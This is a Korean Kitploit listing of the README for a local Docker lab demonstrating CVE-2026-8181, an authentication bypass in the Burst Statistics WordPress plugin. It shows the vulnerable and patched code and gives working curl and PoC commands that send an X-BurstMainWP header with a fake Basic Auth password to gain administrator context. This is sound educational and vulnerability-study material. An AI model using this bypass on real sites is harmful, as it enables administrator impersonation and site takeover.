Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8181-Lab — Burst Statistics WordPress 플러그인에서 CVE-2026-8181 인증 우회를 시연하는 Docker 랩. 취약한 버전과 패치된 버전을 최소 피해 PoC와 비교하여 REST API 요청에서의 부적절한 인증을 설명합니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-8181-lab
Vulnerability AnalysisWeb Application ExploitationWeb SecurityCTFPenetration TestingAuthenticationLearning & EducationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
rootdirective-sec/cve-2026-8181-lab

CVE-2026-8181-Lab

Burst Statistics WordPress 플러그인에서 CVE-2026-8181 인증 우회를 시연하는 Docker 랩. 취약한 버전과 패치된 버전을 최소 피해 PoC와 비교하여 REST API 요청에서의 부적절한 인증을 설명합니다.

저장소 보기
3개월 전아직 검토되지 않음

CVE-2026-8181 — Burst Statistics 인증 우회 실습 환경

CVE-2026-8181에 대한 로컬 전용 Docker 실습 환경입니다. 이 취약점은 WordPress 플러그인 Burst Statistics – Privacy-Friendly WordPress Analytics의 인증 우회 취약점입니다.

이 실습 환경은 취약한 플러그인 버전과 패치된 버전을 비교하며, 사용자를 생성하거나 파일을 업로드하거나 WordPress 상태를 수정하지 않고 차이를 입증하기 위해 최소 피해 PoC를 사용합니다.

요약

  • 영향을 받는 플러그인: Burst Statistics – Privacy-Friendly WordPress Analytics
  • 영향을 받는 버전: 3.4.0 ~ 3.4.1.1
  • 패치된 버전: 3.4.2
  • 취약점 유형: 인증 우회 / 부적절한 인증
  • 영향: 인증되지 않은 공격자가 유효한 관리자 사용자 이름을 알고 있다면 REST API 요청 기간 동안 관리자를 가장할 수 있습니다.

이 실습 환경에서:

  • vuln은 Burst Statistics 3.4.1.1을 실행합니다
  • patched는 Burst Statistics 3.4.2를 실행합니다
  • PoC는 X-BurstMainWP: 1과 함께 가짜 Basic Authentication 비밀번호를 전송합니다
  • 취약한 서비스는 해당 요청을 관리자로 처리합니다
  • 패치된 서비스는 동일한 요청을 거부합니다

실습 환경 구성

seed 서비스는 WordPress를 설치하고, 실습 환경 관리자를 생성하며, 두 환경에서 Burst Statistics를 활성화합니다.

실습 환경 관리자 사용자 이름:

root@kitploit:~
labadmin

PoC는 우회를 입증하기 위해 의도적으로 잘못된 비밀번호를 사용합니다.

근본 원인

Burst Statistics에는 MainWP 관련 프록시 인증 경로가 포함되어 있습니다. REST API 요청에 다음 헤더가 포함된 경우:

root@kitploit:~
X-BurstMainWP: 1

Burst는 인증을 MainWP_Proxy::is_mainwp_authenticated()에 위임합니다.

취약한 버전에서 이 함수는 공격자가 제어하는 Basic Authentication 자격 증명을 읽고, 사용자 이름과 비밀번호를 추출한 후 WordPress 코어에 전달합니다:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );

버그는 반환 값 확인에 있습니다.

취약한 로직: 3.4.1.1

includes/Frontend/class-mainwp-proxy.php에서 단순화한 내용:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
    return false;
}

$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
    return false;
}

wp_set_current_user( $user->ID );
return true;

취약한 코드는 WP_Error만 거부합니다. 하지만 wp_authenticate_application_password()는 인증이 실제로 성공하지 않은 경우 null 또는 다른 사용자가 아닌 값을 반환할 수 있습니다. null은 WP_Error가 아니므로 검사를 통과합니다.

그런 다음 플러그인은 제공된 사용자 이름을 조회하고 다음을 호출합니다:

root@kitploit:~
wp_set_current_user( $user->ID );

이렇게 하면 WordPress가 현재 REST API 요청을 해당 사용자로 처리합니다. 사용자 이름이 관리자에 속하는 경우, WordPress 기능 검사는 나머지 요청에 대해 관리자로 간주합니다.

패치 로직

패치된 버전은 진행하기 전에 실제 인증된 사용자 객체를 요구함으로써 인증 검사를 수정합니다.

패치된 로직: 3.4.2

개념적으로 수정 사항은 다음과 같습니다:

root@kitploit:~
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}

중요한 변경 사항은 단순히 '오류 아님' 반환 값으로는 충분하지 않다는 것입니다. 인증 결과는 실제 \WP_User 객체여야 합니다.

이것은 null이 이전 is_wp_error() 검사를 우회하는 취약한 경로를 차단합니다.

이것이 중요한 이유

이 실습 환경은 다음을 사용한 읽기 전용 증명을 보여줍니다:

root@kitploit:~
/wp/v2/users/me?context=edit

해당 엔드포인트는 WordPress가 요청을 인증된 것으로 간주하는지 여부를 보여주기에 충분합니다.

실제 영향은 이 실습 환경의 증명보다 클 수 있습니다. 공격자가 REST API 요청에 대해 관리자를 가장할 수 있다면, 권한 있는 WordPress 엔드포인트에 접근할 수 있습니다. 일반적인 WordPress 구성에서 관리자 접근은 계정 생성, 애플리케이션 비밀번호, 플러그인 설치, 테마 수정 또는 기타 관리 작업을 통해 지속적인 사이트 장악으로 이어질 수 있습니다.

이 저장소는 의도적으로 그러한 파괴적인 경로를 피합니다.

실행

root@kitploit:~
docker compose up -d --build

일회성 seed 서비스가 완료될 때까지 기다리세요:

root@kitploit:~
docker compose logs seed

예상 seed 출력:

root@kitploit:~
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete

Python 종속성 설치:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

취약한 서비스에 대해 PoC 실행:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin

예상 취약 결과:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]

[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.

패치된 서비스에 대해 동일한 PoC 실행:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin

예상 패치 결과:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 401

[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.

수동 테스트

가짜 Basic Authentication 토큰 생성:

root@kitploit:~
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)

취약한 서비스

우회 헤더가 없는 기준 요청:

root@kitploit:~
curl -sS -i \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

예상:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

우회 시도:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

예상:

root@kitploit:~
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]

패치된 서비스

패치된 서비스에 대해 동일한 우회 시도 실행:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'

예상:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

서버 측 증거

취약한 서비스는 동작 변경을 명확히 보여줍니다:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200

패치된 서비스는 인증되지 않은 요청과 우회 시도를 모두 거부합니다:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401

안전 참고 사항

이 PoC는 의도적으로 최소 피해입니다:

  • 관리자 계정 생성 없음
  • 애플리케이션 비밀번호 생성 없음
  • 플러그인 업로드 없음
  • 테마 수정 없음
  • 명령 실행 없음
  • 영구 상태 변경 없음
  • PoC 스크립트의 localhost 전용 가드

이 실습 환경은 자신의 로컬 Docker 환경에서만 사용하세요.

참고 자료

  • NVD — CVE-2026-8181: https://nvd.nist.gov/vuln/detail/CVE-2026-8181
  • Wordfence 기술 분석: https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • 취약한 소스 참조, Burst Statistics 3.4.1.1: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php
  • 패치된 소스 참조, Burst Statistics trunk / 3.4.2 경로: https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php
  • 관리자 도우미 진입점: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php
도구 다운로드
서비스설명URL
vulnWordPress + Burst Statistics 3.4.1.1http://127.0.0.1:8081
patchedWordPress + Burst Statistics 3.4.2http://127.0.0.1:8082
db_vuln취약한 WordPress용 MySQL내부 전용
db_patched패치된 WordPress용 MySQL내부 전용
seed일회성 WP-CLI 설정 컨테이너내부 전용